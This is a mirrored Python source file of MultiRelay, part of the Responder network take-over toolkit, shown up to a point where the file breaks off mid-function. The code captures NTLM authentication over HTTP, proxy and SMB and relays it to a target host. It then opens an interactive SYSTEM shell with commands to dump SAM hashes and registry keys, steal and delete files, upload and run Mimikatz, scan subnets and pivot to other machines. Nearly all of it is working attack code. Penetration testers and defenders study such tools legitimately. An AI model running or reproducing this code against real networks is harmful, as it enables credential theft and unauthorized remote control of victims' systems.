mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-06 21:11:22 -07:00
802 lines
36 KiB
Python
Executable file
802 lines
36 KiB
Python
Executable file
#!/usr/bin/env python
|
|
# This file is part of Responder, a network take-over set of tools
|
|
# created and maintained by Laurent Gaffie.
|
|
# email: laurent.gaffie@gmail.com
|
|
# This program is free software: you can redistribute it and/or modify
|
|
# it under the terms of the GNU General Public License as published by
|
|
# the Free Software Foundation, either version 3 of the License, or
|
|
# (at your option) any later version.
|
|
#
|
|
# This program is distributed in the hope that it will be useful,
|
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
# GNU General Public License for more details.
|
|
#
|
|
# You should have received a copy of the GNU General Public License
|
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
import sys
|
|
import re
|
|
import os
|
|
import logging
|
|
import optparse
|
|
import time
|
|
import random
|
|
import subprocess
|
|
from threading import Thread
|
|
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
|
|
try:
|
|
from Crypto.Hash import MD5
|
|
except ImportError:
|
|
print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes."
|
|
print "You can install it on debian based os with this command: apt-get install python-crypto"
|
|
print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n"
|
|
try:
|
|
import readline
|
|
except:
|
|
print "Warning: readline module is not available, you will not be able to use the arrow keys for command history"
|
|
pass
|
|
from MultiRelay.RelayMultiPackets import *
|
|
from MultiRelay.RelayMultiCore import *
|
|
|
|
from SMBFinger.Finger import RunFinger,ShowSigning,RunPivotScan
|
|
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
|
|
from socket import *
|
|
|
|
__version__ = "2.0"
|
|
|
|
|
|
MimikatzFilename = "./MultiRelay/bin/mimikatz.exe"
|
|
RunAsFileName = "./MultiRelay/bin/Runas.exe"
|
|
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
|
|
|
|
|
|
def UserCallBack(op, value, dmy, parser):
|
|
args=[]
|
|
for arg in parser.rargs:
|
|
if arg[0] != "-":
|
|
args.append(arg)
|
|
if arg[0] == "-":
|
|
break
|
|
if getattr(parser.values, op.dest):
|
|
args.extend(getattr(parser.values, op.dest))
|
|
setattr(parser.values, op.dest, args)
|
|
|
|
parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0])
|
|
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
|
|
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
|
|
parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
|
|
parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
|
|
parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump")
|
|
|
|
options, args = parser.parse_args()
|
|
|
|
if options.TARGET is None:
|
|
print "\n-t Mandatory option is missing, please provide a target.\n"
|
|
parser.print_help()
|
|
exit(-1)
|
|
if options.UserToRelay is None:
|
|
print "\n-u Mandatory option is missing, please provide a username to relay.\n"
|
|
parser.print_help()
|
|
exit(-1)
|
|
if options.ExtraPort is None:
|
|
options.ExtraPort = 0
|
|
|
|
if not os.geteuid() == 0:
|
|
print color("[!] MultiRelay must be run as root.")
|
|
sys.exit(-1)
|
|
|
|
OneCommand = options.OneCommand
|
|
Dump = options.Dump
|
|
ExtraPort = options.ExtraPort
|
|
UserToRelay = options.UserToRelay
|
|
|
|
Host = [options.TARGET]
|
|
Cmd = []
|
|
ShellOpen = []
|
|
Pivoting = [2]
|
|
|
|
|
|
def color(txt, code = 1, modifier = 0):
|
|
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
|
|
|
def ShowWelcome():
|
|
print color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1)
|
|
print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com'
|
|
print 'Usernames to relay (-u) are case sensitive.'
|
|
print 'To kill this script hit CRTL-C.\n'
|
|
print color('/*',8,1)
|
|
print 'Use this script in combination with Responder.py for best results.'
|
|
print 'Make sure to set SMB and HTTP to OFF in Responder.conf.\n'
|
|
print 'This tool listen on TCP port 80, 3128 and 445.'
|
|
print 'For optimal pwnage, launch Responder only with these 2 options:'
|
|
print '-rv\nAvoid running a command that will likely prompt for information like net use, etc.'
|
|
print 'If you do so, use taskkill (as system) to kill the process.'
|
|
print color('*/',8,1)
|
|
print color('\nRelaying credentials for these users:',8,1)
|
|
print color(UserToRelay,4,1)
|
|
print '\n'
|
|
|
|
|
|
ShowWelcome()
|
|
|
|
def ShowHelp():
|
|
print color('Available commands:',8,0)
|
|
print color('dump',8,1)+' -> Extract the SAM database and print hashes.'
|
|
print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)'
|
|
print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)'
|
|
print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)'
|
|
print color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)'
|
|
print color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\'
|
|
print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)'
|
|
print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to'
|
|
print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)'
|
|
print color('mimi command',8,1)+' -> Run a remote Mimikatz command (eg: mimi coffee)'
|
|
print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)'
|
|
print color('help',8,1)+' -> Print this message.'
|
|
print color('exit',8,1)+' -> Exit this shell and return in relay mode.'
|
|
print ' If you want to quit type exit and then use CRTL-C\n'
|
|
print color('Any other command than that will be run as SYSTEM on the target.\n',8,1)
|
|
|
|
Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../"
|
|
Logs = logging
|
|
Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
|
|
|
|
def UploadContent(File):
|
|
with file(File) as f:
|
|
s = f.read()
|
|
FileLen = len(s)
|
|
FileContent = s
|
|
return FileLen, FileContent
|
|
|
|
try:
|
|
RunFinger(Host[0])
|
|
except:
|
|
print "The host %s seems to be down or port 445 down."%(Host[0])
|
|
sys.exit(1)
|
|
|
|
|
|
def get_command():
|
|
global Cmd
|
|
Cmd = []
|
|
while any(x in Cmd for x in Cmd) is False:
|
|
Cmd = [raw_input("C:\\Windows\\system32\\:#")]
|
|
|
|
#Function used to make sure no connections are accepted while we have an open shell.
|
|
#Used to avoid any possible broken pipe.
|
|
def IsShellOpen():
|
|
#While there's nothing in our array return false.
|
|
if any(x in ShellOpen for x in ShellOpen) is False:
|
|
return False
|
|
#If there is return True.
|
|
else:
|
|
return True
|
|
|
|
#Function used to make sure no connections are accepted on HTTP and HTTP_Proxy while we are pivoting.
|
|
def IsPivotOn():
|
|
#While there's nothing in our array return false.
|
|
if Pivoting[0] == "2":
|
|
return False
|
|
#If there is return True.
|
|
if Pivoting[0] == "1":
|
|
return True
|
|
|
|
def ConnectToTarget():
|
|
try:
|
|
s = socket(AF_INET, SOCK_STREAM)
|
|
s.connect((Host[0],445))
|
|
return s
|
|
except:
|
|
try:
|
|
sys.exit(1)
|
|
print "Cannot connect to target, host down?"
|
|
except:
|
|
pass
|
|
|
|
class HTTPProxyRelay(BaseRequestHandler):
|
|
|
|
def handle(self):
|
|
|
|
try:
|
|
#Don't handle requests while a shell is open. That's the goal after all.
|
|
if IsShellOpen():
|
|
return None
|
|
if IsPivotOn():
|
|
return None
|
|
except:
|
|
raise
|
|
|
|
s = ConnectToTarget()
|
|
try:
|
|
data = self.request.recv(8092)
|
|
##First we check if it's a Webdav OPTION request.
|
|
Webdav = ServeOPTIONS(data)
|
|
if Webdav:
|
|
#If it is, send the option answer, we'll send him to auth when we receive a profind.
|
|
self.request.send(Webdav)
|
|
data = self.request.recv(4096)
|
|
|
|
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
|
##Make sure incoming packet is an NTLM auth, if not send HTTP 407.
|
|
if NTLM_Auth:
|
|
#Get NTLM Message code. (1:negotiate, 2:challenge, 3:auth)
|
|
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
|
|
|
if Packet_NTLM == "\x01":
|
|
## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target.
|
|
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
|
|
n = SMBNegoCairo(Data = SMBNegoCairoData())
|
|
n.calculate()
|
|
packet0 = str(h)+str(n)
|
|
buffer0 = longueur(packet0)+packet0
|
|
s.send(buffer0)
|
|
smbdata = s.recv(2048)
|
|
##Session Setup AndX Request, NTLMSSP_NEGOTIATE
|
|
if smbdata[8:10] == "\x72\x00":
|
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
|
|
t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(buffer1)
|
|
smbdata = s.recv(2048) #got it here.
|
|
|
|
## Send HTTP Proxy
|
|
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
|
|
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
|
|
key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
|
|
self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
|
|
data = self.request.recv(8092)
|
|
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
|
Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9]
|
|
|
|
##Got NTLM Message 3 from client.
|
|
if Packet_NTLM == "\x03":
|
|
NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth))
|
|
##Might be anonymous, verify it and if so, send no go to client.
|
|
if IsSMBAnonymous(NTLM_Auth):
|
|
Response = WPAD_Auth_407_Ans()
|
|
self.request.send(str(Response))
|
|
data = self.request.recv(8092)
|
|
else:
|
|
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
|
#and has not attempted before. While at it, let's grab his hash.
|
|
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
|
|
|
|
if Username is not None:
|
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
|
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
print "[+] SMB Session Auth sent."
|
|
s.send(buffer1)
|
|
smbdata = s.recv(2048)
|
|
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
|
|
if RunCmd is None:
|
|
s.close()
|
|
self.request.close()
|
|
return None
|
|
|
|
else:
|
|
##Any other type of request, send a 407.
|
|
Response = WPAD_Auth_407_Ans()
|
|
self.request.send(str(Response))
|
|
|
|
except Exception:
|
|
self.request.close()
|
|
##No need to print anything (timeouts, rst, etc) to the user console..
|
|
pass
|
|
|
|
|
|
class HTTPRelay(BaseRequestHandler):
|
|
|
|
def handle(self):
|
|
|
|
try:
|
|
#Don't handle requests while a shell is open. That's the goal after all.
|
|
if IsShellOpen():
|
|
return None
|
|
if IsPivotOn():
|
|
return None
|
|
except:
|
|
raise
|
|
|
|
try:
|
|
s = ConnectToTarget()
|
|
|
|
data = self.request.recv(8092)
|
|
##First we check if it's a Webdav OPTION request.
|
|
Webdav = ServeOPTIONS(data)
|
|
if Webdav:
|
|
#If it is, send the option answer, we'll send him to auth when we receive a profind.
|
|
self.request.send(Webdav)
|
|
data = self.request.recv(4096)
|
|
|
|
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
|
##Make sure incoming packet is an NTLM auth, if not send HTTP 407.
|
|
if NTLM_Auth:
|
|
#Get NTLM Message code. (1:negotiate, 2:challenge, 3:auth)
|
|
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
|
|
|
if Packet_NTLM == "\x01":
|
|
## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target.
|
|
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
|
|
n = SMBNegoCairo(Data = SMBNegoCairoData())
|
|
n.calculate()
|
|
packet0 = str(h)+str(n)
|
|
buffer0 = longueur(packet0)+packet0
|
|
s.send(buffer0)
|
|
smbdata = s.recv(2048)
|
|
##Session Setup AndX Request, NTLMSSP_NEGOTIATE
|
|
if smbdata[8:10] == "\x72\x00":
|
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
|
|
t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(buffer1)
|
|
smbdata = s.recv(2048) #got it here.
|
|
|
|
## Send HTTP Response.
|
|
Buffer_Ans = IIS_NTLM_Challenge_Ans()
|
|
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
|
|
key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
|
|
self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
|
|
data = self.request.recv(8092)
|
|
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
|
Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9]
|
|
|
|
##Got NTLM Message 3 from client.
|
|
if Packet_NTLM == "\x03":
|
|
NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth))
|
|
##Might be anonymous, verify it and if so, send no go to client.
|
|
if IsSMBAnonymous(NTLM_Auth):
|
|
Response = IIS_Auth_401_Ans()
|
|
self.request.send(str(Response))
|
|
data = self.request.recv(8092)
|
|
else:
|
|
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
|
#and has not attempted before. While at it, let's grab his hash.
|
|
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
|
|
|
|
if Username is not None:
|
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
|
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
print "[+] SMB Session Auth sent."
|
|
s.send(buffer1)
|
|
smbdata = s.recv(2048)
|
|
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
|
|
if RunCmd is None:
|
|
s.close()
|
|
self.request.close()
|
|
return None
|
|
|
|
else:
|
|
##Any other type of request, send a 407.
|
|
Response = IIS_Auth_401_Ans()
|
|
self.request.send(str(Response))
|
|
|
|
|
|
except Exception:
|
|
self.request.close()
|
|
##No need to print anything (timeouts, rst, etc) to the user console..
|
|
pass
|
|
|
|
class SMBRelay(BaseRequestHandler):
|
|
|
|
def handle(self):
|
|
|
|
try:
|
|
#Don't handle requests while a shell is open. That's the goal after all.
|
|
if IsShellOpen():
|
|
return None
|
|
except:
|
|
raise
|
|
|
|
s = ConnectToTarget()
|
|
try:
|
|
data = self.request.recv(4096)
|
|
|
|
##Negotiate proto answer. That's us.
|
|
if data[8:10] == "\x72\x00":
|
|
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc7", pid=pidcalc(data),mid=midcalc(data))
|
|
t = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(data))
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
self.request.send(buffer1)
|
|
data = self.request.recv(4096)
|
|
|
|
## Make sure it's not a Kerberos auth.
|
|
if data.find("NTLM") is not -1:
|
|
## Start with nego protocol + session setup negotiate to our target.
|
|
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting)
|
|
|
|
## Make sure it's not a Kerberos auth.
|
|
if data.find("NTLM") is not -1:
|
|
##Relay all that to our client.
|
|
if data[8:10] == "\x73\x00":
|
|
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
|
|
#NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange.
|
|
#Then simply grab the whole session setup packet except the smb header from the client and pass it to the server.
|
|
t = smbdata[36:]
|
|
packet0 = str(head)+str(t)
|
|
buffer0 = longueur(packet0)+packet0
|
|
self.request.send(buffer0)
|
|
data = self.request.recv(4096)
|
|
else:
|
|
#if it's kerberos, ditch the connection.
|
|
s.close()
|
|
return None
|
|
|
|
if IsSMBAnonymous(data):
|
|
##Send logon failure for anonymous logins.
|
|
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
|
|
t = SMBSessEmpty()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
self.request.send(buffer1)
|
|
s.close()
|
|
return None
|
|
|
|
else:
|
|
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
|
#and has not attempted before. While at it, let's grab his hash.
|
|
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting)
|
|
if Username is not None:
|
|
##Got the ntlm message 3, send it over to SMB.
|
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
|
t = data[36:]#Final relay.
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
if Pivoting[0] == "1":
|
|
pass
|
|
else:
|
|
print "[+] SMB Session Auth sent."
|
|
s.send(buffer1)
|
|
smbdata = s.recv(4096)
|
|
#We're all set, dropping into shell.
|
|
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
|
|
#If runcmd is None it's because tree connect was denied for this user.
|
|
#This will only happen once with that specific user account.
|
|
#Let's kill that connection so we can force him to reauth with another account.
|
|
if RunCmd is None:
|
|
s.close()
|
|
return None
|
|
|
|
else:
|
|
##Send logon failure, so our client might authenticate with another account.
|
|
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
|
|
t = SMBSessEmpty()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
self.request.send(buffer1)
|
|
data = self.request.recv(4096)
|
|
self.request.close()
|
|
return None
|
|
|
|
except Exception:
|
|
self.request.close()
|
|
##No need to print anything (timeouts, rst, etc) to the user console..
|
|
pass
|
|
|
|
|
|
#Interface starts here.
|
|
def RunShellCmd(data, s, clientIP, Target, Username, Domain):
|
|
|
|
#Let's declare our globals here..
|
|
#Pivoting gets used when the pivot cmd is used, it let us figure out in which mode is MultiRelay. Initial Relay or Pivot mode.
|
|
global Pivoting
|
|
#Update Host, when pivoting is used.
|
|
global Host
|
|
#Make sure we don't open 2 shell at the same time..
|
|
global ShellOpen
|
|
ShellOpen = ["Shell is open"]
|
|
|
|
# On this block we do some verifications before dropping the user into the shell.
|
|
if data[8:10] == "\x73\x6d":
|
|
print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target."
|
|
print "[+] Hashes were saved anyways in Responder/logs/ folder.\n"
|
|
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
|
|
del ShellOpen[:]
|
|
return False
|
|
|
|
if data[8:10] == "\x73\x8d":
|
|
print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n"
|
|
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
|
|
del ShellOpen[:]
|
|
return False
|
|
|
|
if data[8:10] == "\x73\x5e":
|
|
print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n"
|
|
del ShellOpen[:]
|
|
return False
|
|
|
|
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
|
|
## Tree Connect
|
|
if data[8:10] == "\x73\x00":
|
|
GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session.
|
|
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
|
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$")
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(buffer1)
|
|
data = s.recv(2048)
|
|
|
|
## Nope he doesn't.
|
|
if data[8:10] == "\x75\x22":
|
|
if Pivoting[0] == "1":
|
|
pass
|
|
else:
|
|
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
|
|
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
|
|
del ShellOpen[:]
|
|
return False
|
|
|
|
# This one should not happen since we always use the IP address of the target in our tree connects, but just in case..
|
|
if data[8:10] == "\x75\xcc":
|
|
print "[+] Tree Connect AndX denied. Bad Network Name returned."
|
|
del ShellOpen[:]
|
|
return False
|
|
|
|
## Tree Connect on C$ is successfull.
|
|
if data[8:10] == "\x75\x00":
|
|
if Pivoting[0] == "1":
|
|
pass
|
|
else:
|
|
print "[+] Looks good, "+Username+" has admin rights on C$."
|
|
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
|
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(buffer1)
|
|
data = s.recv(2048)
|
|
|
|
## Run one command.
|
|
if data[8:10] == "\x75\x00" and OneCommand != None or Dump:
|
|
print "[+] Authenticated."
|
|
if OneCommand != None:
|
|
print "[+] Running command: %s"%(OneCommand)
|
|
RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0])
|
|
if Dump:
|
|
print "[+] Dumping hashes"
|
|
DumpHashes(data, s, Target[0])
|
|
os._exit(1)
|
|
|
|
## Drop into the shell.
|
|
if data[8:10] == "\x75\x00" and OneCommand == None:
|
|
if Pivoting[0] == "1":
|
|
pass
|
|
else:
|
|
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
|
|
ShowHelp()
|
|
print color('Connected to %s as LocalSystem.'%(Target[0]),2,1)
|
|
|
|
while True:
|
|
|
|
## We either just arrived here or we're back from a command operation, let's setup some stuff.
|
|
if data[8:10] == "\x75\x00":
|
|
#start a thread for raw_input, so we can do other stuff while we wait for a command.
|
|
t = Thread(target=get_command, args=())
|
|
t.daemon = True
|
|
t.start()
|
|
|
|
#Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation
|
|
#to maintain MultiRelay alive and well.
|
|
count = 0
|
|
DoEvery = random.randint(10, 45)
|
|
while any(x in Cmd for x in Cmd) is False:
|
|
count = count+1
|
|
SMBKeepAlive(s, data)
|
|
if count == DoEvery:
|
|
DumbSMBChain(data, s, Target[0])
|
|
count = 0
|
|
if any(x in Cmd for x in Cmd) is True:
|
|
break
|
|
|
|
##Grab the commands. Cmd is global in get_command().
|
|
DumpReg = re.findall('^dump', Cmd[0])
|
|
Read = re.findall('^read (.*)$', Cmd[0])
|
|
RegDump = re.findall('^regdump (.*)$', Cmd[0])
|
|
Get = re.findall('^get (.*)$', Cmd[0])
|
|
Upload = re.findall('^upload (.*)$', Cmd[0])
|
|
Delete = re.findall('^delete (.*)$', Cmd[0])
|
|
RunAs = re.findall('^runas (.*)$', Cmd[0])
|
|
LCmd = re.findall('^lcmd (.*)$', Cmd[0])
|
|
Mimi = re.findall('^mimi (.*)$', Cmd[0])
|
|
Scan = re.findall('^scan (.*)$', Cmd[0])
|
|
Pivot = re.findall('^pivot (.*)$', Cmd[0])
|
|
Help = re.findall('^help', Cmd[0])
|
|
|
|
if Cmd[0] == "exit":
|
|
print "[+] Returning in relay mode."
|
|
del Cmd[:]
|
|
del ShellOpen[:]
|
|
return None
|
|
|
|
##For all of the following commands we send the data (var: data) returned by the
|
|
##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore.
|
|
##We also clean up the command array when done.
|
|
if DumpReg:
|
|
data = DumpHashes(data, s, Target[0])
|
|
del Cmd[:]
|
|
|
|
if Read:
|
|
File = Read[0]
|
|
data = ReadFile(data, s, File, Target[0])
|
|
del Cmd[:]
|
|
|
|
if Get:
|
|
File = Get[0]
|
|
data = GetAfFile(data, s, File, Target[0])
|
|
del Cmd[:]
|
|
|
|
if Upload:
|
|
File = Upload[0]
|
|
if os.path.isfile(File):
|
|
FileSize, FileContent = UploadContent(File)
|
|
File = os.path.basename(File)
|
|
data = WriteFile(data, s, File, FileSize, FileContent, Target[0])
|
|
del Cmd[:]
|
|
else:
|
|
print File+" does not exist, please specify a valid file."
|
|
del Cmd[:]
|
|
|
|
if Delete:
|
|
Filename = Delete[0]
|
|
data = DeleteFile(data, s, Filename, Target[0])
|
|
del Cmd[:]
|
|
|
|
if RegDump:
|
|
Key = RegDump[0]
|
|
data = SaveAKey(data, s, Target[0], Key)
|
|
del Cmd[:]
|
|
|
|
if RunAs:
|
|
if os.path.isfile(RunAsFileName):
|
|
FileSize, FileContent = UploadContent(RunAsFileName)
|
|
FileName = os.path.basename(RunAsFileName)
|
|
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
|
|
Exec = RunAs[0]
|
|
data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName)
|
|
del Cmd[:]
|
|
else:
|
|
print RunAsFileName+" does not exist, please specify a valid file."
|
|
del Cmd[:]
|
|
|
|
if LCmd:
|
|
subprocess.call(LCmd[0], shell=True)
|
|
del Cmd[:]
|
|
|
|
if Mimi:
|
|
if os.path.isfile(MimikatzFilename):
|
|
FileSize, FileContent = UploadContent(MimikatzFilename)
|
|
FileName = os.path.basename(MimikatzFilename)
|
|
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
|
|
Exec = Mimi[0]
|
|
data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
|
|
del Cmd[:]
|
|
else:
|
|
print MimikatzFilename+" does not exist, please specify a valid file."
|
|
del Cmd[:]
|
|
|
|
if Pivot:
|
|
if Pivot[0] == Target[0]:
|
|
print "[Pivot Verification Failed]: You're already on this host. No need to pivot."
|
|
del Pivot[:]
|
|
del Cmd[:]
|
|
else:
|
|
if ShowSigning(Pivot[0]):
|
|
del Pivot[:]
|
|
del Cmd[:]
|
|
else:
|
|
if os.path.isfile(RunAsFileName):
|
|
FileSize, FileContent = UploadContent(RunAsFileName)
|
|
FileName = os.path.basename(RunAsFileName)
|
|
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
|
|
RunAsPath = '%windir%\\Temp\\'+FileName
|
|
Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName)
|
|
|
|
if Status == True:
|
|
print "[+] Pivoting to %s."%(Pivot[0])
|
|
if os.path.isfile(RunAsFileName):
|
|
FileSize, FileContent = UploadContent(RunAsFileName)
|
|
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
|
|
#shell will close.
|
|
del ShellOpen[:]
|
|
#update the new host.
|
|
Host = [Pivot[0]]
|
|
#we're in pivoting mode.
|
|
Pivoting = ["1"]
|
|
data = PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Target[0], RunAsPath, FileName)
|
|
del Cmd[:]
|
|
s.close()
|
|
return None
|
|
|
|
if Status == False:
|
|
print "[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host."
|
|
del Cmd[:]
|
|
del Pivot[:]
|
|
else:
|
|
print RunAsFileName+" does not exist, please specify a valid file."
|
|
del Cmd[:]
|
|
|
|
if Scan:
|
|
LocalIp = FindLocalIp()
|
|
Range = ConvertToClassC(Target[0], Scan[0])
|
|
RunPivotScan(Range, Target[0])
|
|
del Cmd[:]
|
|
|
|
if Help:
|
|
ShowHelp()
|
|
del Cmd[:]
|
|
|
|
##Let go with the command.
|
|
if any(x in Cmd for x in Cmd):
|
|
if len(Cmd[0]) > 1:
|
|
if os.path.isfile(SysSVCFileName):
|
|
